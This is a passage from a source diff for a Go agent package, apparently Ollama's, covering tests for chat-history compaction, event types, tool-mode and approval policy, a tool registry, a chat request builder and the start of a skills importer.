if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if store.keepUserTurns != 1 {
|
||||
t.Fatalf("kept user turns = %d, want 1", store.keepUserTurns)
|
||||
}
|
||||
if len(result.Messages) != 3 {
|
||||
t.Fatalf("messages = %#v, want compaction tool pair plus latest request", result.Messages)
|
||||
}
|
||||
assertCompactionSummaryPair(t, result.Messages[:2])
|
||||
if result.Messages[2].Content != "latest request" {
|
||||
t.Fatalf("latest turn was not kept: %#v", result.Messages)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorCanArchiveWholeShortChat(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "whole summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 3,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "only request"},
|
||||
{Role: "assistant", Content: "only answer"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if store.keepUserTurns != 0 {
|
||||
t.Fatalf("kept user turns = %d, want 0", store.keepUserTurns)
|
||||
}
|
||||
if len(result.Messages) != 2 {
|
||||
t.Fatalf("messages = %#v, want only compaction tool pair", result.Messages)
|
||||
}
|
||||
assertCompactionSummaryPair(t, result.Messages)
|
||||
}
|
||||
|
||||
func TestSimpleCompactorSkipsBelowThreshold(t *testing.T) {
|
||||
client := &fakeClient{}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
Threshold: 0.8,
|
||||
})
|
||||
|
||||
messages := []api.Message{
|
||||
{Role: "user", Content: "one"},
|
||||
{Role: "user", Content: "two"},
|
||||
{Role: "user", Content: "three"},
|
||||
{Role: "user", Content: "four"},
|
||||
{Role: "user", Content: "five"},
|
||||
}
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: messages,
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 50}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Compacted {
|
||||
t.Fatal("did not expect compaction")
|
||||
}
|
||||
if result.Due {
|
||||
t.Fatal("below-threshold compaction should not be due")
|
||||
}
|
||||
if len(result.Messages) != len(messages) {
|
||||
t.Fatalf("messages changed below threshold: %#v", result.Messages)
|
||||
}
|
||||
if len(client.requests) != 0 {
|
||||
t.Fatalf("summary requests = %d, want 0", len(client.requests))
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorUsesEstimatedMessagesWhenPromptEvalMissing(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "estimated summary"}},
|
||||
}},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.8,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "read large output"},
|
||||
{Role: "assistant", ToolCalls: []api.ToolCall{{
|
||||
ID: "call-1",
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "read",
|
||||
},
|
||||
}}},
|
||||
{Role: "tool", ToolName: "read", ToolCallID: "call-1", Content: strings.Repeat("x", 360)},
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Due || !result.Compacted {
|
||||
t.Fatalf("expected estimate-driven compaction, got %#v", result)
|
||||
}
|
||||
if result.Summary != "estimated summary" {
|
||||
t.Fatalf("summary = %q", result.Summary)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorEstimateIncludesRequestPreamble(t *testing.T) {
|
||||
compactor := NewSimpleCompactor(nil, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
Threshold: 0.8,
|
||||
})
|
||||
|
||||
if !compactor.shouldCompact(CompactionRequest{
|
||||
SystemPrompt: strings.Repeat("system ", 360),
|
||||
Messages: []api.Message{{Role: "user", Content: "tiny"}},
|
||||
}) {
|
||||
t.Fatal("system prompt should count toward compaction estimate")
|
||||
}
|
||||
|
||||
if !compactor.shouldCompact(CompactionRequest{
|
||||
Messages: []api.Message{{Role: "user", Content: "tiny"}},
|
||||
Tools: api.Tools{{
|
||||
Type: "function",
|
||||
Function: api.ToolFunction{
|
||||
Name: "verbose_tool",
|
||||
Description: strings.Repeat("description ", 360),
|
||||
},
|
||||
}},
|
||||
}) {
|
||||
t.Fatal("tool definitions should count toward compaction estimate")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompactionPromptFitsBudgetByTruncatingLargeToolOutput(t *testing.T) {
|
||||
largeToolOutput := strings.Repeat("x", 10_000)
|
||||
body, err := compactionPrompt("", []api.Message{
|
||||
{Role: "user", Content: "what changed?"},
|
||||
{Role: "assistant", ToolCalls: []api.ToolCall{{
|
||||
ID: "call-1",
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "bash",
|
||||
},
|
||||
}}},
|
||||
{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: largeToolOutput},
|
||||
}, 300)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if estimateCompactionTokens(body) > 300 {
|
||||
t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
|
||||
}
|
||||
if strings.Count(body, "x") >= len(largeToolOutput) {
|
||||
t.Fatal("large tool output was not truncated")
|
||||
}
|
||||
if !strings.Contains(body, "[tool output truncated: showing first ~") {
|
||||
t.Fatalf("truncation marker missing from compaction prompt: %q", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompactionPromptRetruncatesAlreadyTruncatedToolOutput(t *testing.T) {
|
||||
alreadyTruncated := strings.Repeat("x", 7000) + "\n\n[tool output truncated: showing first ~100 tokens and last ~100 tokens; omitted ~99999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" + strings.Repeat("y", 7000)
|
||||
body, err := compactionPrompt("", []api.Message{
|
||||
{Role: "user", Content: "what changed?"},
|
||||
{Role: "assistant", ToolCalls: []api.ToolCall{{
|
||||
ID: "call-1",
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "bash",
|
||||
},
|
||||
}}},
|
||||
{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: alreadyTruncated},
|
||||
}, 300)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if estimateCompactionTokens(body) > 300 {
|
||||
t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
|
||||
}
|
||||
if strings.Count(body, "x")+strings.Count(body, "y") >= 14_000 {
|
||||
t.Fatal("already-truncated tool output was not truncated again")
|
||||
}
|
||||
if !strings.Contains(body, "[tool output truncated: showing first ~") {
|
||||
t.Fatalf("truncation marker missing from compaction prompt: %q", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompactionSummaryTextStripsPrefix(t *testing.T) {
|
||||
content := compactionSummaryMessageForTask("worked on branch changes", false)
|
||||
if got := CompactionSummaryText(content); got != "worked on branch changes" {
|
||||
t.Fatalf("summary text = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompactionSummaryCanTellModelToContinueTask(t *testing.T) {
|
||||
content := compactionSummaryMessageForTask("worked on branch changes", true)
|
||||
if !strings.Contains(content, CompactionContinueInstruction) {
|
||||
t.Fatalf("summary message missing continue instruction: %q", content)
|
||||
}
|
||||
if got := CompactionSummaryText(content); got != "worked on branch changes" {
|
||||
t.Fatalf("summary text = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveContextWindowTokensPrefersExplicitNumCtx(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
options map[string]any
|
||||
configured int
|
||||
want int
|
||||
}{
|
||||
{
|
||||
name: "explicit smaller num ctx",
|
||||
options: map[string]any{"num_ctx": 4096},
|
||||
configured: 8192,
|
||||
want: 4096,
|
||||
},
|
||||
{
|
||||
name: "explicit num ctx can exceed configured metadata",
|
||||
options: map[string]any{"num_ctx": 131072},
|
||||
configured: 8192,
|
||||
want: 131072,
|
||||
},
|
||||
{
|
||||
name: "metadata without explicit num ctx",
|
||||
configured: 32768,
|
||||
want: 32768,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := ResolveContextWindowTokens(tt.options, tt.configured); got != tt.want {
|
||||
t.Fatalf("ResolveContextWindowTokens() = %d, want %d", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorForceCompactsWithoutPromptEvalCount(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "forced summary"}},
|
||||
}},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.8,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent"},
|
||||
},
|
||||
Force: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Due || !result.Compacted {
|
||||
t.Fatalf("forced compaction result = %#v", result)
|
||||
}
|
||||
if result.Summary != "forced summary" {
|
||||
t.Fatalf("summary = %q", result.Summary)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorDefaultsToKeepingThreeUserTurns(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 16000,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "one"},
|
||||
{Role: "assistant", Content: "one answer"},
|
||||
{Role: "user", Content: "two"},
|
||||
{Role: "assistant", Content: "two answer"},
|
||||
{Role: "user", Content: "three"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if store.keepUserTurns != 3 {
|
||||
t.Fatalf("keepUserTurns = %d, want 3", store.keepUserTurns)
|
||||
}
|
||||
assertCompactionSummaryPair(t, result.Messages[:2])
|
||||
if got := result.Messages[2].Content; got != "one" {
|
||||
t.Fatalf("first kept turn = %q, want one", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorCarriesPreviousSummary(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "new summary"}},
|
||||
}},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 16000,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "system", Content: CompactionSummaryMessagePrefix + "old summary"},
|
||||
{Role: "user", Content: "old"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
|
||||
t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorCarriesPreviousToolSummaryAndPlacesNewSummaryBeforeKeptSuffix(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "new summary"}},
|
||||
}},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 16000,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
messages := []api.Message{
|
||||
{Role: "user", Content: "kept before old summary"},
|
||||
CompactionSummaryMessages("old summary", false)[0],
|
||||
CompactionSummaryMessages("old summary", false)[1],
|
||||
{Role: "user", Content: "latest request"},
|
||||
}
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: messages,
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
|
||||
t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
|
||||
}
|
||||
if len(result.Messages) != 3 {
|
||||
t.Fatalf("messages = %#v, want compaction pair plus latest request", result.Messages)
|
||||
}
|
||||
assertCompactionSummaryPair(t, result.Messages[:2])
|
||||
if result.Messages[2].Content != "latest request" {
|
||||
t.Fatalf("kept suffix = %#v", result.Messages)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type EventType string
|
||||
|
||||
const (
|
||||
EventMessageStarted EventType = "message_started"
|
||||
EventMessageDelta EventType = "message_delta"
|
||||
EventThinkingDelta EventType = "thinking_delta"
|
||||
EventToolCallDetected EventType = "tool_call_detected"
|
||||
EventToolStarted EventType = "tool_started"
|
||||
EventToolFinished EventType = "tool_finished"
|
||||
EventToolsUnavailable EventType = "tools_unavailable"
|
||||
EventCompactionStarted EventType = "compaction_started"
|
||||
EventCompactionProgress EventType = "compaction_progress"
|
||||
EventCompacted EventType = "compacted"
|
||||
EventCompactionSkipped EventType = "compaction_skipped"
|
||||
EventLoopStep EventType = "loop_step"
|
||||
EventRequestBuilt EventType = "request_built"
|
||||
EventModelStreamDone EventType = "model_stream_done"
|
||||
EventRunFinished EventType = "run_finished"
|
||||
EventError EventType = "error"
|
||||
)
|
||||
|
||||
type Event struct {
|
||||
Type EventType `json:"type"`
|
||||
RunID string `json:"runId,omitempty"`
|
||||
ChatID string `json:"chatId,omitempty"`
|
||||
MessageID string `json:"messageId,omitempty"`
|
||||
Model string `json:"model,omitempty"`
|
||||
Status string `json:"status,omitempty"`
|
||||
ToolCallID string `json:"toolCallId,omitempty"`
|
||||
ToolName string `json:"toolName,omitempty"`
|
||||
WorkingDir string `json:"workingDir,omitempty"`
|
||||
Content string `json:"content,omitempty"`
|
||||
Thinking string `json:"thinking,omitempty"`
|
||||
ToolCalls []api.ToolCall `json:"toolCalls,omitempty"`
|
||||
Messages []api.Message `json:"messages,omitempty"`
|
||||
Args map[string]any `json:"args,omitempty"`
|
||||
Tokens int `json:"tokens,omitempty"`
|
||||
PromptTokens int `json:"promptTokens,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
StartedAt time.Time `json:"startedAt,omitempty"`
|
||||
FinishedAt time.Time `json:"finishedAt,omitempty"`
|
||||
Response *api.ChatResponse `json:"-"`
|
||||
}
|
||||
|
||||
type EventSink interface {
|
||||
Emit(Event) error
|
||||
}
|
||||
|
||||
type MultiEventSink []EventSink
|
||||
|
||||
func (s MultiEventSink) Emit(event Event) error {
|
||||
var firstErr error
|
||||
for _, sink := range s {
|
||||
if sink == nil {
|
||||
continue
|
||||
}
|
||||
if err := sink.Emit(event); err != nil && firstErr == nil {
|
||||
firstErr = err
|
||||
}
|
||||
}
|
||||
return firstErr
|
||||
}
|
||||
|
||||
type EventSinkFunc func(Event) error
|
||||
|
||||
func (fn EventSinkFunc) Emit(event Event) error {
|
||||
if fn == nil {
|
||||
return nil
|
||||
}
|
||||
return fn(event)
|
||||
}
|
||||
|
||||
func emit(sink EventSink, event Event) error {
|
||||
if sink == nil {
|
||||
return nil
|
||||
}
|
||||
return sink.Emit(event)
|
||||
}
|
||||
|
||||
func emitIgnoringCanceled(ctx context.Context, sink EventSink, event Event) error {
|
||||
err := emit(sink, event)
|
||||
if err != nil && ctx != nil && ctx.Err() != nil {
|
||||
//nolint:nilerr // Event sinks may close during cancellation; cancellation is not a user-facing emit failure.
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package agent
|
||||
|
||||
import "sync"
|
||||
|
||||
type ToolMode int
|
||||
|
||||
const (
|
||||
ToolModeReview ToolMode = iota
|
||||
ToolModeFullAccess
|
||||
ToolModeDisabled
|
||||
)
|
||||
|
||||
type RunPolicy struct {
|
||||
ToolMode ToolMode
|
||||
ApprovalPolicy ApprovalPolicy
|
||||
// MaxToolRounds limits consecutive model/tool cycles.
|
||||
// Zero uses the default guard; negative disables the guard for tests or
|
||||
// special callers.
|
||||
MaxToolRounds int
|
||||
}
|
||||
|
||||
func (p RunPolicy) UsesTools() bool {
|
||||
switch p.ToolMode {
|
||||
case ToolModeReview, ToolModeFullAccess:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (p RunPolicy) Tools(registry *Registry) *Registry {
|
||||
if !p.UsesTools() {
|
||||
return nil
|
||||
}
|
||||
return registry
|
||||
}
|
||||
|
||||
func (p RunPolicy) ApprovalHandler(prompter ApprovalPrompter) ApprovalHandler {
|
||||
if p.ToolMode == ToolModeFullAccess {
|
||||
return AutoAllowApproval{}
|
||||
}
|
||||
policy := p.ApprovalPolicy
|
||||
if policy == nil {
|
||||
policy = DefaultApprovalPolicy{}
|
||||
}
|
||||
return NewApprovalManager(ApprovalManagerOptions{
|
||||
Policy: policy,
|
||||
Prompter: prompter,
|
||||
})
|
||||
}
|
||||
|
||||
func (p RunPolicy) ReviewApprovalHandler(prompter ApprovalPrompter) ApprovalHandler {
|
||||
policy := p.ApprovalPolicy
|
||||
if policy == nil {
|
||||
policy = DefaultApprovalPolicy{}
|
||||
}
|
||||
return NewApprovalManager(ApprovalManagerOptions{
|
||||
Policy: policy,
|
||||
Prompter: prompter,
|
||||
})
|
||||
}
|
||||
|
||||
type RunPolicyState struct {
|
||||
mu sync.Mutex
|
||||
policy RunPolicy
|
||||
}
|
||||
|
||||
func NewRunPolicyState(policy RunPolicy) *RunPolicyState {
|
||||
return &RunPolicyState{policy: policy}
|
||||
}
|
||||
|
||||
func (s *RunPolicyState) Policy() RunPolicy {
|
||||
if s == nil {
|
||||
return RunPolicy{}
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
return s.policy
|
||||
}
|
||||
|
||||
func (s *RunPolicyState) ToolMode() ToolMode {
|
||||
return s.Policy().ToolMode
|
||||
}
|
||||
|
||||
func (s *RunPolicyState) SetToolMode(mode ToolMode) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.policy.ToolMode = mode
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type ToolContext struct {
|
||||
WorkingDir string
|
||||
}
|
||||
|
||||
type ToolResult struct {
|
||||
Content string
|
||||
WorkingDir string
|
||||
}
|
||||
|
||||
type Tool interface {
|
||||
Name() string
|
||||
Description() string
|
||||
Schema() api.ToolFunction
|
||||
Execute(context.Context, ToolContext, map[string]any) (ToolResult, error)
|
||||
}
|
||||
|
||||
type ApprovalRequired interface {
|
||||
RequiresApproval(map[string]any) bool
|
||||
}
|
||||
|
||||
type Registry struct {
|
||||
tools map[string]Tool
|
||||
}
|
||||
|
||||
func NewRegistry() *Registry {
|
||||
return &Registry{tools: make(map[string]Tool)}
|
||||
}
|
||||
|
||||
func (r *Registry) Register(tool Tool) {
|
||||
if r == nil || tool == nil {
|
||||
return
|
||||
}
|
||||
r.tools[tool.Name()] = tool
|
||||
}
|
||||
|
||||
func (r *Registry) Has(name string) bool {
|
||||
if r == nil {
|
||||
return false
|
||||
}
|
||||
_, ok := r.tools[name]
|
||||
return ok
|
||||
}
|
||||
|
||||
func (r *Registry) Get(name string) (Tool, bool) {
|
||||
if r == nil {
|
||||
return nil, false
|
||||
}
|
||||
tool, ok := r.tools[name]
|
||||
return tool, ok
|
||||
}
|
||||
|
||||
func (r *Registry) Names() []string {
|
||||
if r == nil {
|
||||
return nil
|
||||
}
|
||||
names := make([]string, 0, len(r.tools))
|
||||
for name := range r.tools {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
return names
|
||||
}
|
||||
|
||||
func (r *Registry) Tools() api.Tools {
|
||||
names := r.Names()
|
||||
apiTools := make(api.Tools, 0, len(names))
|
||||
for _, name := range names {
|
||||
tool := r.tools[name]
|
||||
apiTools = append(apiTools, api.Tool{
|
||||
Type: "function",
|
||||
Function: tool.Schema(),
|
||||
})
|
||||
}
|
||||
return apiTools
|
||||
}
|
||||
|
||||
func (r *Registry) Execute(ctx context.Context, toolCtx ToolContext, call api.ToolCall) (ToolResult, error) {
|
||||
tool, ok := r.Get(call.Function.Name)
|
||||
if !ok {
|
||||
return ToolResult{}, fmt.Errorf("unknown tool: %s", call.Function.Name)
|
||||
}
|
||||
return tool.Execute(ctx, toolCtx, call.Function.Arguments.ToMap())
|
||||
}
|
||||
|
||||
func ToolRequiresApproval(tool Tool, args map[string]any) bool {
|
||||
if tool == nil {
|
||||
return false
|
||||
}
|
||||
if t, ok := tool.(ApprovalRequired); ok {
|
||||
return t.RequiresApproval(args)
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
// ChatRequestPreview is the request body plus the estimated prompt tokens for it.
|
||||
type ChatRequestPreview struct {
|
||||
Request api.ChatRequest
|
||||
PromptTokens int
|
||||
}
|
||||
|
||||
// BuildChatRequestPreview builds the chat request shape used for a run and its estimated prompt tokens.
|
||||
func BuildChatRequestPreview(opts RunOptions, messages []api.Message, tools api.Tools) ChatRequestPreview {
|
||||
return ChatRequestPreview{
|
||||
Request: buildChatRequest(opts, messages, tools),
|
||||
PromptTokens: EstimateChatRequestPromptTokens(opts, messages, tools),
|
||||
}
|
||||
}
|
||||
|
||||
// EstimateChatRequestPromptTokens estimates the prompt tokens for a chat request before sending it.
|
||||
func EstimateChatRequestPromptTokens(opts RunOptions, messages []api.Message, tools api.Tools) int {
|
||||
return estimateCompactionRequestTokens(CompactionRequest{
|
||||
SystemPrompt: opts.SystemPrompt,
|
||||
Messages: sanitizeMessagesForRequest(messages),
|
||||
Tools: tools,
|
||||
Format: opts.Format,
|
||||
Options: opts.Options,
|
||||
})
|
||||
}
|
||||
|
||||
func buildChatRequest(opts RunOptions, messages []api.Message, tools api.Tools) api.ChatRequest {
|
||||
requestMessages := sanitizeMessagesForRequest(messages)
|
||||
if strings.TrimSpace(opts.SystemPrompt) != "" {
|
||||
withSystem := make([]api.Message, 0, len(requestMessages)+1)
|
||||
withSystem = append(withSystem, api.Message{Role: "system", Content: opts.SystemPrompt})
|
||||
requestMessages = append(withSystem, requestMessages...)
|
||||
}
|
||||
|
||||
req := api.ChatRequest{
|
||||
Model: opts.Model,
|
||||
Messages: requestMessages,
|
||||
Format: json.RawMessage(chatRequestFormat(opts.Format)),
|
||||
Options: opts.Options,
|
||||
Think: opts.Think,
|
||||
}
|
||||
if opts.KeepAlive != nil {
|
||||
req.KeepAlive = opts.KeepAlive
|
||||
}
|
||||
if len(tools) > 0 {
|
||||
req.Tools = tools
|
||||
}
|
||||
return req
|
||||
}
|
||||
|
||||
func chatRequestFormat(format string) string {
|
||||
if format == "json" {
|
||||
return `"` + format + `"`
|
||||
}
|
||||
return format
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
func TestBuildChatRequestPreviewBuildsModelRequest(t *testing.T) {
|
||||
tools := api.Tools{{
|
||||
Type: "function",
|
||||
Function: api.ToolFunction{
|
||||
Name: "read",
|
||||
Description: "read a file",
|
||||
Parameters: api.ToolFunctionParameters{Type: "object"},
|
||||
},
|
||||
}}
|
||||
preview := BuildChatRequestPreview(RunOptions{
|
||||
Model: "llama3.2",
|
||||
SystemPrompt: "You are Ollama.",
|
||||
Format: "json",
|
||||
Options: map[string]any{"temperature": 0.1},
|
||||
}, []api.Message{{Role: "user", Content: "hello"}}, tools)
|
||||
|
||||
if preview.Request.Model != "llama3.2" {
|
||||
t.Fatalf("model = %q, want llama3.2", preview.Request.Model)
|
||||
}
|
||||
if got := string(preview.Request.Format); got != `"json"` {
|
||||
t.Fatalf("format = %q, want quoted json", got)
|
||||
}
|
||||
if len(preview.Request.Messages) != 2 {
|
||||
t.Fatalf("messages = %d, want 2", len(preview.Request.Messages))
|
||||
}
|
||||
if preview.Request.Messages[0].Role != "system" || preview.Request.Messages[0].Content != "You are Ollama." {
|
||||
t.Fatalf("system message = %#v", preview.Request.Messages[0])
|
||||
}
|
||||
if preview.Request.Messages[1].Role != "user" || preview.Request.Messages[1].Content != "hello" {
|
||||
t.Fatalf("user message = %#v", preview.Request.Messages[1])
|
||||
}
|
||||
if len(preview.Request.Tools) != 1 {
|
||||
t.Fatalf("tools = %d, want 1", len(preview.Request.Tools))
|
||||
}
|
||||
if preview.PromptTokens <= 0 {
|
||||
t.Fatalf("prompt tokens = %d, want positive", preview.PromptTokens)
|
||||
}
|
||||
}
|
||||
+1033
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,165 @@
|
||||
package skills
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type ImportResult struct {
|
||||
Source string
|
||||
Skill Skill
|
||||
From string
|
||||
To string
|
||||
Skipped bool
|
||||
Error string
|
||||
}
|
||||
|
||||
type skillDirCandidate struct {
|
||||
Dir string
|
||||
Skipped bool
|
||||
Error string
|
||||
}
|
||||
|
||||
func Import(source string, force bool) ([]ImportResult, error) {
|
||||
dest, err := DefaultDir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return ImportToDir(source, dest, force)
|
||||
}
|
||||
|
||||
func ImportToDir(source, dest string, force bool) ([]ImportResult, error) {
|
||||
roots, err := SourceDirs(source)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.MkdirAll(dest, 0o755); err != nil {
|
||||
return nil, fmt.Errorf("create skills directory: %w", err)
|
||||
}
|
||||
|
||||
var results []ImportResult
|
||||
for _, root := range roots {
|
||||
candidates, err := skillDirs(root)
|
||||
if err != nil {
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
continue
|
||||
}
|
||||
results = append(results, ImportResult{Source: source, From: root, Skipped: true, Error: err.Error()})
|
||||
continue
|
||||
}
|
||||
for _, candidate := range candidates {
|
||||
result := ImportResult{Source: source, From: candidate.Dir}
|
||||
if candidate.Skipped {
|
||||
result.Skipped = true
|
||||
result.Error = candidate.Error
|
||||
results = append(results, result)
|
||||
continue
|
||||
}
|
||||
|
||||
skill, err := ReadMetadata(filepath.Join(candidate.Dir, SkillFile))
|
||||
if err != nil {
|
||||
result.Skipped = true
|
||||
result.Error = err.Error()
|
||||
results = append(results, result)
|
||||
continue
|
||||
}
|
||||
|
||||
result.Skill = skill
|
||||
result.To = filepath.Join(dest, skill.Name)
|
||||
copyResult, err := copyDir(candidate.Dir, result.To, force)
|
||||
if errors.Is(err, os.ErrExist) {
|
||||
result.Skipped = true
|
||||
